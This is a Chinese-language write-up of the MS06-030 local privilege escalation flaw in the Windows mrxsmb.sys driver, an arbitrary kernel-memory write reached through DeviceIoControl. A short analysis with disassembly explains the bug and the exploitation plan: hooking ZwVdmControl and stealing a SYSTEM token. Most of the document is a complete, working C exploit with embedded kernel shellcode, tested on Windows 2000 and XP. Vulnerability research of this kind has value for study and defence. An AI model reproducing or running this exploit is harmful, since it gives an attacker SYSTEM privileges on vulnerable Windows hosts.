MS06-030漏洞分析 MS06-030 Windows Mrxsmb.sys Local Privilege Escalation 漏洞分析 SoBeIt 这个漏洞发生于mrxsmb.sys驱动中,是个任意地址写入漏洞。在处理用户态发来的DeviceIoControl请求时,对于METHOD_NEITHER类型的请求,用户需要同时提供输入缓冲区地址与输出缓冲区地址。而由于内核固有的缺陷,导致输出缓冲区可以为任意地址,包括内核地址,这就造成了任意地址写入的漏洞。 通过获取一个到"////.//shadow"的对象的句柄,就可以调用DeviceIoControl与该驱动进行联系。 所有代码摘自Windows 2000 SP4 English Version。 这是在cscdll.dll中的代码。cscdll.dll通过DeviceIoControl直接与内核驱动mrxsmb.sys通信。 .text:7652D197 push ebx .text:7652D198 push [ebp+lpInBuffer] ; wchar_t * .text:7652D19B call _wcslen .text:7652D1A0 mov edx, [ebp+arg_C] .text:7652D1A3 pop ecx .text:7652D1A4 mov ecx, [ebp+lpOutBuffer] .text:7652D1A7 push 0 ; lpOverlapped .text:7652D1A9 push offset _DummyBytesReturned ; lpBytesReturned .text:7652D1AE push 18h ; nOutBufferSize .text:7652D1B0 push ecx ; lpOutBuffer .text:7652D1B1 shl eax, 1 .text:7652D1B3 push eax ; nInBufferSize .text:7652D1B4 push [ebp+lpInBuffer] ; lpInBuffer .text:7652D1B7 mov [ecx+10h], edx .text:7652D1BA push 141043h ; dwIoControlCode .text:7652D1BF push esi ; hDevice .text:7652D1C0 call ds:__imp__DeviceIoControl@32 ; DeviceIoControl(x,x,x,x,x,x,x,x) 可以看到DeviceIoControl的ControlCode为一个METHOD_NEITHER类型,并且传入的OutBuffer参数不为NULL,也就是由用户态来传递返回的缓冲区地址给内核态。而内核态并没有做任何检查就向该地址进行读写,也就是能做到写入任意地址的效果。 这是在驱动mrxsmb.sys中的代码。 PAGE:00063E5F mov [ebp+ObjectAttributes.ObjectName], ecx <--指向传入缓冲区地址 PAGE:00063E62 mov ecx, dword ptr _MRxSmbSpecialCopyChunkAllocationSizeMarker ; "csc" PAGE:00063E68 push eax ; AllocationSize PAGE:00063E69 lea eax, [ebp+IoStatusBlock] PAGE:00063E6C mov dword ptr [ebp+AllocationSize+4], ecx PAGE:00063E6F mov ecx, [ebp+var_8] PAGE:00063E72 push eax ; IoStatusBlock PAGE:00063E73 add ebx, 0Ch PAGE:00063E76 lea eax, [ebp+ObjectAttributes] PAGE:00063E79 mov word ptr [ebp+var_14+2], bx PAGE:00063E7D mov word ptr [ebp+var_14], bx PAGE:00063E81 mov [ebp+ObjectAttributes.Length], 18h PAGE:00063E88 mov [ebp+ObjectAttributes.Attributes], 40h PAGE:00063E8F mov ecx, [ecx] PAGE:00063E91 push eax ; ObjectAttributes PAGE:00063E92 push 100080h ; DesiredAccess PAGE:00063E97 push [ebp+FileHandle] ; FileHandle <--指向返回缓冲区地址 PAGE:00063E9A and ecx, 1 PAGE:00063E9D mov dword ptr [ebp+AllocationSize], ecx PAGE:00063EA0 call ds:__imp__ZwCreateFile@44 ; ZwCreateFile(x,x,x,x,x,x,x,x,x,x,x) 在2000和XP下有一个小问题,就是对于ZwCreateFile,如果传入的OBJECT_ATTRIBUTES结构的ObjectName成员为NULL,ZwCreateFile依然会返回一个有效的句柄值。到了2003,如果传入NULL的ObjectName则始终会返回句柄0xffffffff。所以这个特性应用在这个漏洞里,才能做到漏洞利用。通过产生的这个句柄值,来写入指定的地址。 至于该写入什么地址,我曾经专门讨论过对于这种任意地址写入的漏洞该怎么利用,最方便的方法就是Hook一个不常用的系统调用(我选择的是ZwVdmControl),然后跳转到用户态分配的缓冲区中执行,此时用户态缓冲区存放的就是提升权限的shellcode。所以就象ZwVdmControl的开头写入一个jmp xxxxx的指令即可。 但是在这里有一点要注意的是,就是由于句柄的最末两位为0,也就是句柄值是4的倍数,而且句柄值最多也只能到6位数,所以只能分两次来写入,因为我们需要产生某些特定的值,比如跳转指令e9,还有偏移地址的高2位。尤其值得注意的是,第一次产生完一个句柄值后,下一次会接着这个值继续产生,而不是从初始值产生。这样偏移地址的低6位就能很难能产生出精确的值了,只能产生个大概的值,所以就这需要用到暴力法,也就是事先分配的用户态缓冲区足够大,使之肯定能跳转到这个缓冲区来执行shellcode。实际中我分配的缓冲区是0x1001000字节,也就是忽略掉低6位地址。多分配个0x1000是用来放shellcode的。 Hook完后在exploit里面执行被hook的那个系统调用,就能直接执行shellcode了。shellcode是对调用进程的父进程提升权限到SYSTEM,如果从cmd里调用的exploit,该cmd进程就获得SYSTEM权限。提升权限的方法就是复制几个系统进程的EPROCESS结构的Token成员到需要提升权限的进程的EPROCESS结构的Token成员即可。提升权限完后需要恢复被hook的系统调用的前几个字节以供下次继续使用。 在2003下,代码做了改变,首先是检查传入的OBJECT_ATTRIBUTES结构的ObjectName成员不能小于2个字节,也就是不能为NULL。同时另一个改变就是前面所说的,如果传入NULL的ObjectName则始终会返回句柄0xffffffff。这样在2003下,必须要提供一个有效的UNC路径才能使ZwCreateFile返回一个有效句柄值,并成功利用该漏洞。遗憾地是,我到现在还没找到一个有效的UNC路径。。。如果有谁能找到,请告我一声,多谢:) |
/*
MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt
Main file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Windows XP PRO SP2 Chinese
Windows XP PRO SP2 English
Usage:ms06-030.exe
*/
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
unsigned char kfunctions[64][64] =
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{"PsLookupProcessByProcessId"},
{""},
};
unsigned char shellcode[] =
"/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
"/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/xbe/x38/xf0"
"/xdf/xff/x8b/x36/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
"/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
"/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
"/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
"/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
"/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
"/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
"/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
"/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
"/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
"/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
"/xff/x90/x90/x90"
"/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
void ErrorQuit(char *msg)
{
printf("%s:%d/n", msg, GetLastError());
ExitProcess(0);
}
void GetFunction()
{
HANDLE hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed./n");
ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed./n");
ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
if(ZwQueryInformationProcess == NULL)
ErrorQuit("GetProcAddress failed./n");
ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if(ZwQuerySystemInformation == NULL)
ErrorQuit("GetProcessAddress failed./n");
FreeLibrary(hNtdll);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
ULONG GetKernelBase(char *KernelName)
{
ULONG i, Byte, ModuleCount, KernelBase;
PVOID pBuffer;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
PCHAR pName;
ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
if((pBuffer = malloc(Byte)) == NULL)
ErrorQuit("malloc failed./n");
if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
ErrorQuit("ZwQuerySystemInformation failed/n");
ModuleCount = *(PULONG)pBuffer;
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
for(i = 0; i < ModuleCount; i++)
{
if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
{
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
free(pBuffer);
strcpy(KernelName, "ntoskrnl.exe");
return KernelBase;
}
if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
{
KernelBase = (ULONG)pSystemModuleInformation->Base;
printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
free(pBuffer);
strcpy(KernelName, "ntkrnlpa.exe");
return KernelBase;
}
pSystemModuleInformation++;
}
free(pBuffer);
return 0;
}
int main(int argc, char *argv[])
{
PVOID pDrivers[256];
PULONG pStoreBuffer, pShellcode;
PUCHAR pRestoreBuffer, pBase, FunctionAddress;
PROCESS_BASIC_INFORMATION pbi;
SYSTEM_MODULE_INFORMATION smi;
OSVERSIONINFO ovi;
char DriverName[256], KernelName[64];
ULONG Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64], HookAddress, SystemId, TokenOffset, Sections;
HANDLE hDevice, hKernel;
printf("/n MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit /n/n");
printf("/t Create by SoBeIt. /n/n");
if(argc != 1)
{
printf(" Usage:%s /n/n", argv[0]);
return 1;
}
GetFunction();
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed/n");
KernelBase = GetKernelBase(KernelName);
if(!KernelBase)
ErrorQuit("Unable to get kernel base address./n");
printf("Kernel base address: %x/n", KernelBase);
ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(!GetVersionEx(&ovi))
ErrorQuit("GetVersionEx failed./n");
if(ovi.dwMajorVersion != 5)
ErrorQuit("Not Windows NT family OS./n");
printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
switch(ovi.dwMinorVersion)
{
case 0: //Windows2000
SystemId = 8;
TokenOffset = 0x12c;
break;
case 1: //WindowsXP
SystemId = 4;
TokenOffset = 0xc8;
break;
case 2: //Windows2003
SystemId = 4;
TokenOffset = 0xc8;
break;
default:
SystemId = 8;
TokenOffset = 0xc8;
}
pRestoreBuffer = malloc(0x100);
if(pRestoreBuffer == NULL)
ErrorQuit("malloc failed./n");
if(!EnumDeviceDrivers(pDrivers, sizeof(pDrivers), &Byte))
ErrorQuit("EnumDeviceDrivers failed./n");
for(i = 0; i < (Byte / sizeof(PVOID)); i++)
{
if(!GetDeviceDriverBaseName(pDrivers[i], DriverName, sizeof(DriverName)))
ErrorQuit("GetDeviceDriverBaseName failed./n");
if(!strnicmp(DriverName, "mrxsmb.sys", 10))
{
BaseAddress = (ULONG)pDrivers;
printf("Mrxsmb.sys Base Address:%x/n", BaseAddress);
break;
}
}
if(!BaseAddress)
ErrorQuit("No address of mrxsmb.sys has been found./n");
pStoreBuffer = (PULONG)VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pStoreBuffer == NULL)
ErrorQuit("VirtualAlloc failed./n");
printf("Allocated address:%x/n", pStoreBuffer);
// /device/LanmanRedirector
hDevice = CreateFile("////.//Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
ErrorQuit("CreateFile failed./n");
hKernel = LoadLibrary(KernelName);
if(hKernel == NULL)
ErrorQuit("LoadLibrary failed./n");
FunctionAddress = (PUCHAR)GetProcAddress(hKernel, "NtVdmControl");
if(FunctionAddress == NULL)
ErrorQuit("GetProcAddress failed./n");
HookAddress = FunctionAddress - (PUCHAR)hKernel + KernelBase;
memcpy((PUCHAR)pRestoreBuffer, FunctionAddress - 1, 0x20);
printf("%s Address:%x/n", "NtVdmControl", HookAddress);
pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;
for(j = 0; kfunctions[j][0] != '/x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);
buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = SystemId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = HookAddress - 1;
buf[j++] = 0x20;
buf[j++] = TokenOffset;
memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
hDevice = CreateFile("////.//Shadow", FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
ErrorQuit("CreateFile failed./n");
Value = (0xe9 << 8) & 0xff00;
printf("Need value: %x/n", Value);
while((pStoreBuffer[3] & 0xff00) != Value)
{
memset(pStoreBuffer, 0, 0x18);
if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed./n");
printf("/rValue:%x", pStoreBuffer[3]);
}
printf("/n");
memset(pStoreBuffer, 0, 0x18);
if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC - 1), 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed./n");
Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
printf("Need value: %x/n", Value);
while((pStoreBuffer[3] & 0xfff0) != Value)
{
memset(pStoreBuffer, 0, 0x18);
if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, pStoreBuffer, 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed./n");
printf("/rValue:%x", pStoreBuffer[3]);
}
printf("/n");
if(!DeviceIoControl(hDevice, 0x141043, pStoreBuffer, 0x2, (PVOID)(HookAddress - 0xC + 3), 0x18, &Byte, NULL))
ErrorQuit("DeviceIoControl failed./n");
memset(pStoreBuffer, 0x90, 0x1001000);
memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
CloseHandle(hDevice);
CloseHandle(hKernel);
printf("Exploitation finished./n");
ZwVdmControl(0, NULL);
return 1;
}
原文代码有个小错误,已经修改